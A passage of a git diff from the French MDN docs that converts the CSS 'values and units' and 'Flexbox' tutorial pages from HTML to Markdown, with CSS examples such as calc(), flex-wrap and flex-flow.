indiquées avec des mots-clés comme <code>top</code>, <code>left</code>, <code>bottom</code>, <code>right</code>, et <code>center</code> afin d'aligner les objets sur les bords d'une boîte en deux dimensions et avec des longueurs qui représentent les décalages par rapport au coin supérieur gauche de la boîte.</p> +Dans l'exemple suivant, on a positionné une image d'arrière-plan à 40px du bord haut et vers la droite du conteneur en utilisant un mot-clé. -<p>Une position se compose généralement de deux valeurs : la première indiquant la position horizontale et la seconde indiquant la position verticale. Si une seule valeur est fournie, l'autre valeur sera <code>center</code> par défaut.</p> +{{EmbedGHLiveSample("css-examples/learn/values-units/position.html", '100%', 720)}} -<p>Dans l'exemple suivant, on a positionné une image d'arrière-plan à 40px du bord haut et vers la droite du conteneur en utilisant un mot-clé.</p> +**Manipulez, modifiez ces valeurs pour voir comment décaler l'image dans le conteneur.** -<p>{{EmbedGHLiveSample("css-examples/learn/values-units/position.html", '100%', 720)}} </p> +## Chaînes de caractères et identifiants -<p><strong>Manipulez, modifiez ces valeurs pour voir comment décaler l'image dans le conteneur.</strong></p> +Dans les différents exemples qui précèdent, on a vu des endroits où les mots-clés sont utilisés comme valeur (par exemple `<color>` qui peut utiliser des mots-clés comme `red`, `black`, `rebeccapurple`, et `goldenrod`). Si on veut être plus précis, on dira que ces mots-clés sont des _identifiants_, une valeur spéciale comprise par le moteur CSS. Ces identifiants n'ont pas besoin d'être délimités par des guillemets/quotes : ce ne sont pas des chaînes de caractères. -<h2 id="strings_and_identifiers">Chaînes de caractères et identifiants</h2> +À d'autres endroits en CSS, on utilise des chaînes de caractères, comme [lorsqu'on définit du contenu généré](/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements#generating_content_with_before_and_after). Dans ces cas, la valeur est délimitée par des quotes (" ou ') pour indiquer qu'il s'agit bien d'une chaîne de caractères. Dans l'exemple qui suit, on utilise des mots-clés de couleur (des identifiants sans quote) ainsi qu'une chaîne de caractères pour du contenu généré. -<p>Dans les différents exemples qui précèdent, on a vu des endroits où les mots-clés sont utilisés comme valeur (par exemple <code><color></code> qui peut utiliser des mots-clés comme <code>red</code>, <code>black</code>, <code>rebeccapurple</code>, et <code>goldenrod</code>). Si on veut être plus précis, on dira que ces mots-clés sont des <em>identifiants</em>, une valeur spéciale comprise par le moteur CSS. Ces identifiants n'ont pas besoin d'être délimités par des guillemets/quotes : ce ne sont pas des chaînes de caractères.</p> +{{EmbedGHLiveSample("css-examples/learn/values-units/strings-idents.html", '100%', 550)}} -<p>À d'autres endroits en CSS, on utilise des chaînes de caractères, comme <a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements#generating_content_with_before_and_after">lorsqu'on définit du contenu généré</a>. Dans ces cas, la valeur est délimitée par des quotes (" ou ') pour indiquer qu'il s'agit bien d'une chaîne de caractères. Dans l'exemple qui suit, on utilise des mots-clés de couleur (des identifiants sans quote) ainsi qu'une chaîne de caractères pour du contenu généré.</p> +## Functions -<p>{{EmbedGHLiveSample("css-examples/learn/values-units/strings-idents.html", '100%', 550)}} </p> +Les dernières valeurs que nous verrons ici sont les fonctions. En programmation, une fonction est une section de code réutilisable qui peut être exécutée plusieurs fois afin de réaliser une tâche de façon répétitive avec le minimum effort de la part du développeur ou de l'ordinateur. Les fonctions sont généralement associées à des langages comme JavaScript, Python ou C++ mais elles existent en CSS également pour être utilisées comme valeurs de propriétés. En fait, nous avons déjà vu des fonctions dans la section à propos des couleurs : `rgb()`, `hsl()`, etc. La valeur utilisée pour récupérer une image à partir d'un fichier, `url()` est également une fonction. -<h2 id="functions">Functions</h2> +Une fonction qui est peut-être plus proche des langages de programmation traditionnels est la fonction CSS `calc()`. Cette fonction permet de réaliser des calculs simples à l'intérieur du code CSS. Elle s'avère particulièrement utile pour déterminer des valeurs qui ne sont pas connues d'avance lorsqu'on écrit la feuille de style CSS et pour lesquelles ce sera le navigateur qui pourra les déterminer lors de l'exécution. -<p>Les dernières valeurs que nous verrons ici sont les fonctions. En programmation, une fonction est une section de code réutilisable qui peut être exécutée plusieurs fois afin de réaliser une tâche de façon répétitive avec le minimum effort de la part du développeur ou de l'ordinateur. Les fonctions sont généralement associées à des langages comme JavaScript, Python ou C++ mais elles existent en CSS également pour être utilisées comme valeurs de propriétés. En fait, nous avons déjà vu des fonctions dans la section à propos des couleurs : <code>rgb()</code>, <code>hsl()</code>, etc. La valeur utilisée pour récupérer une image à partir d'un fichier, <code>url()</code> est également une fonction.</p> +Dans le prochain exemple, on utilise `calc()` afin que la boîte soit large de `20% + 100px`. Les 20% sont calculés à partir de la largeur du conteneur parent : `.wrapper` et changeront donc lorsque la largeur du parent changera. Ce calcul ne peut pas être effectué au préalable, car on ne peut pas savoir à l'avance ce que représenteront ces 20%. Aussi, on utilise `calc()` pour indiquer au navigateur de réaliser ce calcul. -<p>Une fonction qui est peut-être plus proche des langages de programmation traditionnels est la fonction CSS <code>calc()</code>. Cette fonction permet de réaliser des calculs simples à l'intérieur du code CSS. Elle s'avère particulièrement utile pour déterminer des valeurs qui ne sont pas connues d'avance lorsqu'on écrit la feuille de style CSS et pour lesquelles ce sera le navigateur qui pourra les déterminer lors de l'exécution.</p> +{{EmbedGHLiveSample("css-examples/learn/values-units/calc.html", '100%', 450)}} -<p>Dans le prochain exemple, on utilise <code>calc()</code> afin que la boîte soit large de <code>20% + 100px</code>. Les 20% sont calculés à partir de la largeur du conteneur parent : <code>.wrapper</code> et changeront donc lorsque la largeur du parent changera. Ce calcul ne peut pas être effectué au préalable, car on ne peut pas savoir à l'avance ce que représenteront ces 20%. Aussi, on utilise <code>calc()</code> pour indiquer au navigateur de réaliser ce calcul.</p> +## Testez vos compétences ! -<p>{{EmbedGHLiveSample("css-examples/learn/values-units/calc.html", '100%', 450)}}</p> +Nous avons abordé de nombreuses notions dans cet article. Avez-vous retenu les informations essentielles ? Vous pourrez trouver différents exercices pour vérifier que vous avez retenu les bonnes informations avant de poursuivre : rendez-vous sur [Testez vos compétences : valeurs et unités CSS](/fr/docs/Learn/CSS/Building_blocks/Values_tasks). -<h2 id="test_your_skills!">Testez vos compétences !</h2> +## Résumé -<p>Nous avons abordé de nombreuses notions dans cet article. Avez-vous retenu les informations essentielles ? Vous pourrez trouver différents exercices pour vérifier que vous avez retenu les bonnes informations avant de poursuivre : rendez-vous sur <a href="/fr/docs/Learn/CSS/Building_blocks/Values_tasks">Testez vos compétences : valeurs et unités CSS</a>.</p> +Voici un rapide tour des types de valeur et unités que vous pourrez rencontrer en CSS. Vous pouvez consulter la liste exhaustive des différents types sur [la page de référence MDN sur les valeurs et unités CSS](/fr/docs/Web/CSS/CSS_Values_and_Units). Vous verrez de nombreuses types et valeurs à mesure que vous progresserez dans ces leçons. -<h2 id="summary">Résumé</h2> +La notion cruciale à garder en mémoire est que chaque propriété possède une liste de types de valeur autorisés et que chaque type de valeur possède une définition indiquant les valeurs possibles. Vous pourrez trouver toutes les informations et détails sur MDN. -<p>Voici un rapide tour des types de valeur et unités que vous pourrez rencontrer en CSS. Vous pouvez consulter la liste exhaustive des différents types sur <a href="/fr/docs/Web/CSS/CSS_Values_and_Units">la page de référence MDN sur les valeurs et unités CSS</a>. Vous verrez de nombreuses types et valeurs à mesure que vous progresserez dans ces leçons.</p> +Par exemple, comprendre le type [`<image>`](/fr/docs/Web/CSS/image) vous permettra de comprendre comment créer un dégradé de couleur. C'est utile mais ce n'est pas forcément évident de prime abord. -<p>La notion cruciale à garder en mémoire est que chaque propriété possède une liste de types de valeur autorisés et que chaque type de valeur possède une définition indiquant les valeurs possibles. Vous pourrez trouver toutes les informations et détails sur MDN.</p> +{{PreviousMenuNext("Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks")}} -<p>Par exemple, comprendre le type <code><a href="/fr/docs/Web/CSS/image"><image></a></code> vous permettra de comprendre comment créer un dégradé de couleur. C'est utile mais ce n'est pas forcément évident de prime abord.</p> +## Dans ce module -<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks")}}</p> +1. [Cascade et héritage](/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance) +2. [Sélecteurs CSS](/fr/docs/Learn/CSS/Building_blocks/Selectors) -<h2 id="in_this_module">Dans ce module</h2> + - [Sélecteurs de type, de classe et d'ID](/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors) + - [Sélecteurs d'attributs](/fr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors) + - [Pseudo-classes et pseudo-éléments](/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements) + - [Combinateurs](/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators) -<ol> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Cascade et héritage</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors">Sélecteurs CSS</a> - <ul> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Sélecteurs de type, de classe et d'ID</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Sélecteurs d'attributs</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Pseudo-classes et pseudo-éléments</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Combinateurs</a></li> - </ul> - </li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/The_box_model">Le modèle de boîte</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Arrière-plans et bordures</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Gestion de différentes directions de texte</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Overflowing_content">Débordements de contenu</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Values_and_units">Valeurs et unités CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Définir la taille des éléments en CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Images, médias et éléments de formulaire</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Styling_tables">Mise en page de tableaux</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Debugging_CSS">Débogage de CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Organizing">Organiser votre CSS</a></li> -</ol> +3. [Le modèle de boîte](/fr/docs/Learn/CSS/Building_blocks/The_box_model) +4. [Arrière-plans et bordures](/fr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders) +5. [Gestion de différentes directions de texte](/fr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions) +6. [Débordements de contenu](/fr/docs/Learn/CSS/Building_blocks/Overflowing_content) +7. [Valeurs et unités CSS](/fr/docs/Learn/CSS/Building_blocks/Values_and_units) +8. [Définir la taille des éléments en CSS](/fr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS) +9. [Images, médias et éléments de formulaire](/fr/docs/Learn/CSS/Building_blocks/Images_media_form_elements) +10. [Mise en page de tableaux](/fr/docs/Learn/CSS/Building_blocks/Styling_tables) +11. [Débogage de CSS](/fr/docs/Learn/CSS/Building_blocks/Debugging_CSS) +12. [Organiser votre CSS](/fr/docs/Learn/CSS/Building_blocks/Organizing) diff --git a/files/fr/learn/css/css_layout/flexbox/index.md b/files/fr/learn/css/css_layout/flexbox/index.md index 17a2d6e00f..bf49bc6db6 100644 --- a/files/fr/learn/css/css_layout/flexbox/index.md +++ b/files/fr/learn/css/css_layout/flexbox/index.md @@ -16,269 +16,288 @@ tags: translation_of: Learn/CSS/CSS_layout/Flexbox original_slug: Apprendre/CSS/CSS_layout/Flexbox --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Apprendre/CSS/CSS_layout/Normal_Flow", "Apprendre/CSS/CSS_layout/Flexbox_skills", "Learn/CSS/CSS_layout")}} -<div>{{PreviousMenuNext("Apprendre/CSS/CSS_layout/Normal_Flow", "Apprendre/CSS/CSS_layout/Flexbox_skills", "Learn/CSS/CSS_layout")}}</div> - -<p>Flexbox est une méthode de mise en page selon un axe principal, permettant de disposer des éléments en ligne ou en colonne. Les éléments se dilatent ou se rétractent pour occuper l'espace disponible. Cet article en explique tous les fondamentaux.</p> +Flexbox est une méthode de mise en page selon un axe principal, permettant de disposer des éléments en ligne ou en colonne. Les éléments se dilatent ou se rétractent pour occuper l'espace disponible. Cet article en explique tous les fondamentaux. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Les fondamentaux du HTML (étudiez <a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML">Introduction au HTML</a>) et avoir une idée de la manière dont la CSS fonctionne (étudiez <a href="/fr/Apprendre/CSS/Introduction_à_CSS">Introduction aux CSS</a>).</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Apprendre à utiliser le système Flexbox pour créer des mises en page web.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Les fondamentaux du HTML (étudiez + <a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML" + >Introduction au HTML</a + >) et avoir une idée de la manière dont la CSS fonctionne (étudiez + <a href="/fr/Apprendre/CSS/Introduction_à_CSS">Introduction aux CSS</a + >). + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Apprendre à utiliser le système Flexbox pour créer des mises en page + web. + </td> + </tr> + </tbody> </table> -<h2 id="Pourquoi_Flexbox">Pourquoi Flexbox ?</h2> +## Pourquoi Flexbox ? -<p>Pendant longtemps, les seuls outils de mise en page CSS fiables et compatibles avec les navigateurs, étaient les propriétés concernant les <a href="/fr/docs/Learn/CSS/CSS_layout/Floats">flotteurs (boîtes flottantes)</a> et le <a href="/fr/docs/Learn/CSS/CSS_layout/Positioning">positionnement</a>. Ces outils sont bien et fonctionnent, mais restent à certains égards plutôt limitatifs et frustrants.</p> +Pendant longtemps, les seuls outils de mise en page CSS fiables et compatibles avec les navigateurs, étaient les propriétés concernant les [flotteurs (boîtes flottantes)](/fr/docs/Learn/CSS/CSS_layout/Floats) et le [positionnement](/fr/docs/Learn/CSS/CSS_layout/Positioning). Ces outils sont bien et fonctionnent, mais restent à certains égards plutôt limitatifs et frustrants. -<p>Les simples exigences de mise en page suivantes sont difficiles si ce n'est impossibles à réaliser de manière pratique et souple avec ces outils :</p> +Les simples exigences de mise en page suivantes sont difficiles si ce n'est impossibles à réaliser de manière pratique et souple avec ces outils : -<ul> - <li>centrer verticalement un bloc de contenu dans son parent ;</li> - <li>faire que tous les enfants d'un conteneur occupent tous une même quantité de hauteur/largeur disponible selon l'espace offert ;</li> - <li>faire que toutes les colonnes dans une disposition multi‑colonnes aient la même hauteur même si leur quantité de contenu diffère.</li> -</ul> +- centrer verticalement un bloc de contenu dans son parent ; +- faire que tous les enfants d'un conteneur occupent tous une même quantité de hauteur/largeur disponible selon l'espace offert ; +- faire que toutes les colonnes dans une disposition multi‑colonnes aient la même hauteur même si leur quantité de contenu diffère. -<p>Comme vous le verrez dans les paragraphes suivants, flexbox facilite considérablement les tâches de mise en page. Approfondissons un peu !</p> +Comme vous le verrez dans les paragraphes suivants, flexbox facilite considérablement les tâches de mise en page. Approfondissons un peu ! -<h2 id="Voici_un_exemple_simple">Voici un exemple simple</h2> +## Voici un exemple simple -<p>Dans cet article, nous allons commenter une série d'exercices pour vous faciliter la compréhension du fonctionnement de flexbox. Pour commencer, faites une copie locale du premier fichier de démarrage — <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox0.html">flexbox0.html</a> de notre dépôt Github —, chargez‑le dans un navigateur moderne (comme Firefox ou Chrome) et regardez le code dans votre éditeur. Vous pouvez le <a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/flexbox0.html">voir en direct ici</a> aussi.</p> +Dans cet article, nous allons commenter une série d'exercices pour vous faciliter la compréhension du fonctionnement de flexbox. Pour commencer, faites une copie locale du premier fichier de démarrage — [flexbox0.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox0.html) de notre dépôt Github —, chargez‑le dans un navigateur moderne (comme Firefox ou Chrome) et regardez le code dans votre éditeur. Vous pouvez le [voir en direct ici](http://mdn.github.io/learning-area/css/css-layout/flexbox/flexbox0.html) aussi. -<p>Qu'avons‑nous ? un élément {{htmlelement("header")}} avec un en‑tête de haut niveau à l'intérieur, et un élément {{htmlelement("section")}} contenant trois {{htmlelement("article")}}s. Nous allons les utiliser pour créer une disposition vraiment classique sur trois colonnes.</p> +Qu'avons‑nous ? un élément {{htmlelement("header")}} avec un en‑tête de haut niveau à l'intérieur, et un élément {{htmlelement("section")}} contenant trois {{htmlelement("article")}}s. Nous allons les utiliser pour créer une disposition vraiment classique sur trois colonnes. -<p><img alt="Échantillon d'utilisation de flexbox" src="Exemple_flexbox_1.png"></p> + -<h2 id="Détermination_des_éléments_à_disposer_en_boîtes_flexibles">Détermination des éléments à disposer en boîtes flexibles</h2> +## Détermination des éléments à disposer en boîtes flexibles -<p>Pour commencer, sélectionnons les éléments devant être présentés sous forme de boîtes flexibles. Pour ce faire, donnons une valeur spéciale à la propriété {{cssxref("display")}} du parent de ces éléments à disposer. Dans ce cas, comme cela concerne les éléments {{htmlelement("article")}}, nous affectons la valeur <code>flex</code> à l'élément {{htmlelement("section")}} (qui devient un conteneur flex) :</p> +Pour commencer, sélectionnons les éléments devant être présentés sous forme de boîtes flexibles. Pour ce faire, donnons une valeur spéciale à la propriété {{cssxref("display")}} du parent de ces éléments à disposer. Dans ce cas, comme cela concerne les éléments {{htmlelement("article")}}, nous affectons la valeur `flex` à l'élément {{htmlelement("section")}} (qui devient un conteneur flex) : -<pre class="brush: css">section { +```css +section { display: flex; -}</pre> +} +``` -<p>Voici le résultat :</p> +Voici le résultat : -<p><img alt="Échantillon d'utilisation de flexbox" src="Exemple_flexbox_1.png"></p> + -<p>Ainsi, cette unique déclaration donne tout ce dont nous avons besoin — incroyable, non ? Nous avons ainsi notre disposition en plusieurs colonnes de largeur égale, et toutes de même hauteur. Ceci parce que les valeurs par défaut données aux éléments flex (les enfants du conteneur flex) sont configurés pour résoudre des problèmes courants tels celui-ci. On en reparlera plus tard.</p> +Ainsi, cette unique déclaration donne tout ce dont nous avons besoin — incroyable, non ? Nous avons ainsi notre disposition en plusieurs colonnes de largeur égale, et toutes de même hauteur. Ceci parce que les valeurs par défaut données aux éléments flex (les enfants du conteneur flex) sont configurés pour résoudre des problèmes courants tels celui-ci. On en reparlera plus tard. -<div class="note"> -<p><strong>Note :</strong> Vous pouvez aussi définir une valeur <code>inline-flex</code> pour {{cssxref("display")}} si vous voulez disposer des éléments en ligne sous forme de boîtes modulables.</p> -</div> +> **Note :** Vous pouvez aussi définir une valeur `inline-flex` pour {{cssxref("display")}} si vous voulez disposer des éléments en ligne sous forme de boîtes modulables. -<h2 id="Aparté_sur_le_modèle_flex">Aparté sur le modèle flex</h2> +## Aparté sur le modèle flex -<p>Lorsque les éléments sont disposés en boîtes flexibles, ils sont disposés le long de deux axes :</p> +Lorsque les éléments sont disposés en boîtes flexibles, ils sont disposés le long de deux axes : -<p><img alt="Terminologie pour les boîtes modulables" src="termes_flex.png"></p> + -<ul> - <li>L'<strong>axe principal</strong> <strong>(main axis) </strong>est l'axe de la direction dans laquelle sont disposés les éléments flex (par exemple, horizontalement sur la page, ou verticalement de haut en bas de la page). Le début et la fin de cet axe sont appelés l'<strong>origine principale</strong> <strong>(main start) </strong>et la <strong>fin principale (main end)</strong>.</li> - <li>L'<strong>axe croisé </strong><strong> </strong>est l'axe perpendiculaire à l'axe principal, càd à la direction dans laquelle sont disposés les éléments flex. Le début et la fin de cet axe sont appelés le début<strong> (cross start)</strong> et la fin (<strong>cross end</strong>) de l'axe croisé.</li> - <li>L'élément parent dont la propriété est <code>display: flex</code> ({{htmlelement("section")}} dans notre exemple) est appelé le <strong>conteneur flex</strong> (<strong>flex container</strong>).</li> - <li>Les éléments disposés en tant que boîtes flexibles à l'intérieur du conteneur flex sont appelés <strong>éléments flex (flex items) </strong>(les éléments {{htmlelement("article")}}} dans notre exemple).</li> -</ul> +- L'**axe principal** **(main axis)** est l'axe de la direction dans laquelle sont disposés les éléments flex (par exemple, horizontalement sur la page, ou verticalement de haut en bas de la page). Le début et la fin de cet axe sont appelés l'**origine principale** **(main start)** et la **fin principale (main end)**. +- L'**axe croisé** \*\* **est l'axe perpendiculaire à l'axe principal, càd à la direction dans laquelle sont disposés les éléments flex. Le début et la fin de cet axe sont appelés le début **(cross start)** et la fin (**cross end\*\*) de l'axe croisé. +- L'élément parent dont la propriété est `display: flex` ({{htmlelement("section")}} dans notre exemple) est appelé le **conteneur flex** (**flex container**). +- Les éléments disposés en tant que boîtes flexibles à l'intérieur du conteneur flex sont appelés **éléments flex (flex items)** (les éléments {{htmlelement("article")}}} dans notre exemple). -<p>Gardez cette terminologie en tête en lisant les paragraphes suivants. Vous pouvez toujours vous y référer si vous avez un doute sur la signification des termes utilisés.</p> +Gardez cette terminologie en tête en lisant les paragraphes suivants. Vous pouvez toujours vous y référer si vous avez un doute sur la signification des termes utilisés. -<h2 id="Colonnes_ou_lignes">Colonnes ou lignes ?</h2> +## Colonnes ou lignes ? -<p>Flexbox dispose de la propriété {{cssxref("flex-direction")}} pour indiquer la direction de l'axe principal (direction dans laquelle les enfants flexibles sont disposés) — cette propriété est égale par défaut à <code>row</code> : ils sont donc disposés en ligne, dans le sens de lecture de la langue par défaut du navigateur (de gauche à droite, dans le cas d'un navigateur français).</p> +Flexbox dispose de la propriété {{cssxref("flex-direction")}} pour indiquer la direction de l'axe principal (direction dans laquelle les enfants flexibles sont disposés) — cette propriété est égale par défaut à `row` : ils sont donc disposés en ligne, dans le sens de lecture de la langue par défaut du navigateur (de gauche à droite, dans le cas d'un navigateur français). -<p>Ajoutons la déclaration suivante dans la règle :</p> +Ajoutons la déclaration suivante dans la règle : -<pre class="brush: css">flex-direction: column;</pre> +```css +flex-direction: column; +``` -<p>Cela dispose de nouveau les éléments en colonnes, comme c'était le cas avant l'ajout de la CSS. Avant de poursuivre, enlevez cette déclaration de l'exemple.</p> +Cela dispose de nouveau les éléments en colonnes, comme c'était le cas avant l'ajout de la CSS. Avant de poursuivre, enlevez cette déclaration de l'exemple. -<div class="note"> -<p><strong>Note :</strong> Vous pouvez aussi disposer les éléments flex dans la direction inverse avec les valeurs <code>row-reverse</code> et <code>column-reverse</code>. Expérimentez ces valeurs aussi !</p> -</div> +> **Note :** Vous pouvez aussi disposer les éléments flex dans la direction inverse avec les valeurs `row-reverse` et `column-reverse`. Expérimentez ces valeurs aussi ! -<h2 id="Enveloppement">Enveloppement</h2> +## Enveloppement -<p>Problème : quand votre structure est de largeur ou hauteur fixe, il arrive que les éléments flex débordent du conteneur et brisent cette structure. Voyez l'exemple <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox-wrap0.html">flexbox-wrap0.html</a>, essayez <a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/flexbox-wrap0.html">directement</a> (faites une copie locale de ce fichier maintenant si vous voulez suivre cet exemple) :</p> +Problème : quand votre structure est de largeur ou hauteur fixe, il arrive que les éléments flex débordent du conteneur et brisent cette structure. Voyez l'exemple [flexbox-wrap0.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox-wrap0.html), essayez [directement](http://mdn.github.io/learning-area/css/css-layout/flexbox/flexbox-wrap0.html) (faites une copie locale de ce fichier maintenant si vous voulez suivre cet exemple) : -<p><img alt="Débordement des éléments modulables" src="Exemple_flexbox_2.png"></p> + -<p>Ici, nous voyons que les enfants débordent du conteneur. Une façon d'y remédier est d'ajouter la déclaration suivante à votre règle pour <code>section</code> :</p> +Ici, nous voyons que les enfants débordent du conteneur. Une façon d'y remédier est d'ajouter la déclaration suivante à votre règle pour `section` : -<pre class="brush: css">flex-wrap: wrap;</pre> +```css +flex-wrap: wrap; +``` -<p>Essayons ; la disposition est bien meilleure avec cet ajout :</p> +Essayons ; la disposition est bien meilleure avec cet ajout : -<p><img alt="Conditionnement des éléments modulables" src="Exemple_flexbox_3.png">Nous avons maintenant plusieurs lignes — un nombre sensé d'enfants flexibles est placé sur chaque ligne, et le débordement est déplacé vers le bas sur une ligne supplémentaire. La déclaration <code>flex: 200px</code> pour les éléments <code>article</code> signifie que chacun aura au moins 200px de large ; nous discuterons de cette propriété plus en détail plus tard. Vous noterez aussi que chacun des enfants de la dernière rangée est plus large, de façon à ce que toute la rangée reste remplie.</p> +Nous avons maintenant plusieurs lignes — un nombre sensé d'enfants flexibles est placé sur chaque ligne, et le débordement est déplacé vers le bas sur une ligne supplémentaire. La déclaration `flex: 200px` pour les éléments `article` signifie que chacun aura au moins 200px de large ; nous discuterons de cette propriété plus en détail plus tard. Vous noterez aussi que chacun des enfants de la dernière rangée est plus large, de façon à ce que toute la rangée reste remplie. -<p>Mais nous pouvons faire plus ici. Tout d'abord, essayez de changer la valeur de la propriété {{cssxref("flex-direction")}} en <code>row-reverse</code> — maintenant vous avez toujours la disposition sur plusieurs lignes, mais elles commencent dans l'angle opposé de la fenêtre du navigateur et se disposent à l'envers.</p> +Mais nous pouvons faire plus ici. Tout d'abord, essayez de changer la valeur de la propriété {{cssxref("flex-direction")}} en `row-reverse` — maintenant vous avez toujours la disposition sur plusieurs lignes, mais elles commencent dans l'angle opposé de la fenêtre du navigateur et se disposent à l'envers. -<h2 id="Forme_abrégée_«_flex-flow_»">Forme abrégée « flex-flow »</h2> +## Forme abrégée « flex-flow » -<p>Notez maintenant qu'il y a une forme abrégée pour {{cssxref("flex-direction")}} et {{cssxref("flex-wrap")}} — {{cssxref("flex-flow")}}. Ainsi, par exemple, vous pouvez remplacer</p> +Notez maintenant qu'il y a une forme abrégée pour {{cssxref("flex-direction")}} et {{cssxref("flex-wrap")}} — {{cssxref("flex-flow")}}. Ainsi, par exemple, vous pouvez remplacer -<pre class="brush: css">flex-direction: row; -flex-wrap: wrap;</pre> +```css +flex-direction: row; +flex-wrap: wrap; +``` -<p>par</p> +par -<pre class="brush: css">flex-flow: row wrap;</pre> +```css +flex-flow: row wrap; +``` -<h2 id="Taille_modulable_des_éléments_flex">Taille modulable des éléments flex</h2> +## Taille modulable des éléments flex -<p>Revenons maintenant au premier exemple, et examinons comment nous pouvons contrôler la proportion d'éléments flexibles dans l'espace. Lancez votre copie locale de <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox0.html">flexbox0.html</a> ou prenez une copie de <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox1.html">flexbox1.html</a> comme nouveau point de départ (<a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/flexbox1.html">voir en direct</a>).</p> +Revenons maintenant au premier exemple, et examinons comment nous pouvons contrôler la proportion d'éléments flexibles dans l'espace. Lancez votre copie locale de [flexbox0.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox0.html) ou prenez une copie de [flexbox1.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox1.html) comme nouveau point de départ ([voir en direct](http://mdn.github.io/learning-area/css/css-layout/flexbox/flexbox1.html)). -<p>Ajoutez d'abord la règle ci-dessous en fin de la CSS :</p> +Ajoutez d'abord la règle ci-dessous en fin de la CSS : -<pre class="brush: css">article { +```css +article { flex: 1; -}</pre> +} +``` -<p>Il s'agit d'une valeur de proportion, sans unité, définissant la quantité d'espace disponible que chaque élément flex prendra le long de l'axe principal. Dans ce cas, nous donnons à chaque élément {{htmlelement("article")}}} une valeur de 1, ce qui signifie qu'ils prendront tous une portion égale de l'espace libre après le calcul du remplissage et de la marge. Cette valeur représente une proportion, càd que le fait de donner une valeur de 400 000 simultanément à tous les éléments flex aurait exactement le même effet.</p> +Il s'agit d'une valeur de proportion, sans unité, définissant la quantité d'espace disponible que chaque élément flex prendra le long de l'axe principal. Dans ce cas, nous donnons à chaque élément {{htmlelement("article")}}} une valeur de 1, ce qui signifie qu'ils prendront tous une portion égale de l'espace libre après le calcul du remplissage et de la marge. Cette valeur représente une proportion, càd que le fait de donner une valeur de 400 000 simultanément à tous les éléments flex aurait exactement le même effet. -<p>Maintenant ajoutons cette règle en-dessous de la précédente :</p> +Maintenant ajoutons cette règle en-dessous de la précédente : -<pre class="brush: css">article:nth-of-type(3) { +```css +article:nth-of-type(3) { flex: 2; -}</pre> +} +``` -<p>Maintenant, lorsque vous actualisez, vous voyez que le troisième {{htmlelement("article")}} occupe deux fois plus de largeur disponible que chacun des deux autres — il y a maintenant quatre unités de division disponibles au total. Les deux premiers éléments flexibles en occupent chacun un, soit 1/4 de l'espace disponible pour chacun. Le troisième remplit deux unités, soit 2/4 (la moitié) de l'espace disponible.</p> +Maintenant, lorsque vous actualisez, vous voyez que le troisième {{htmlelement("article")}} occupe deux fois plus de largeur disponible que chacun des deux autres — il y a maintenant quatre unités de division disponibles au total. Les deux premiers éléments flexibles en occupent chacun un, soit 1/4 de l'espace disponible pour chacun. Le troisième remplit deux unités, soit 2/4 (la moitié) de l'espace disponible. -<p>Vous pouvez également définir une valeur minimale de taille dans la valeur <code>flex</code>. Modifiez comme suit vos règles <code>article</code> existantes :</p> +Vous pouvez également définir une valeur minimale de taille dans la valeur `flex`. Modifiez comme suit vos règles `article` existantes : -<pre class="brush: css">article { +```css +article { flex: 1 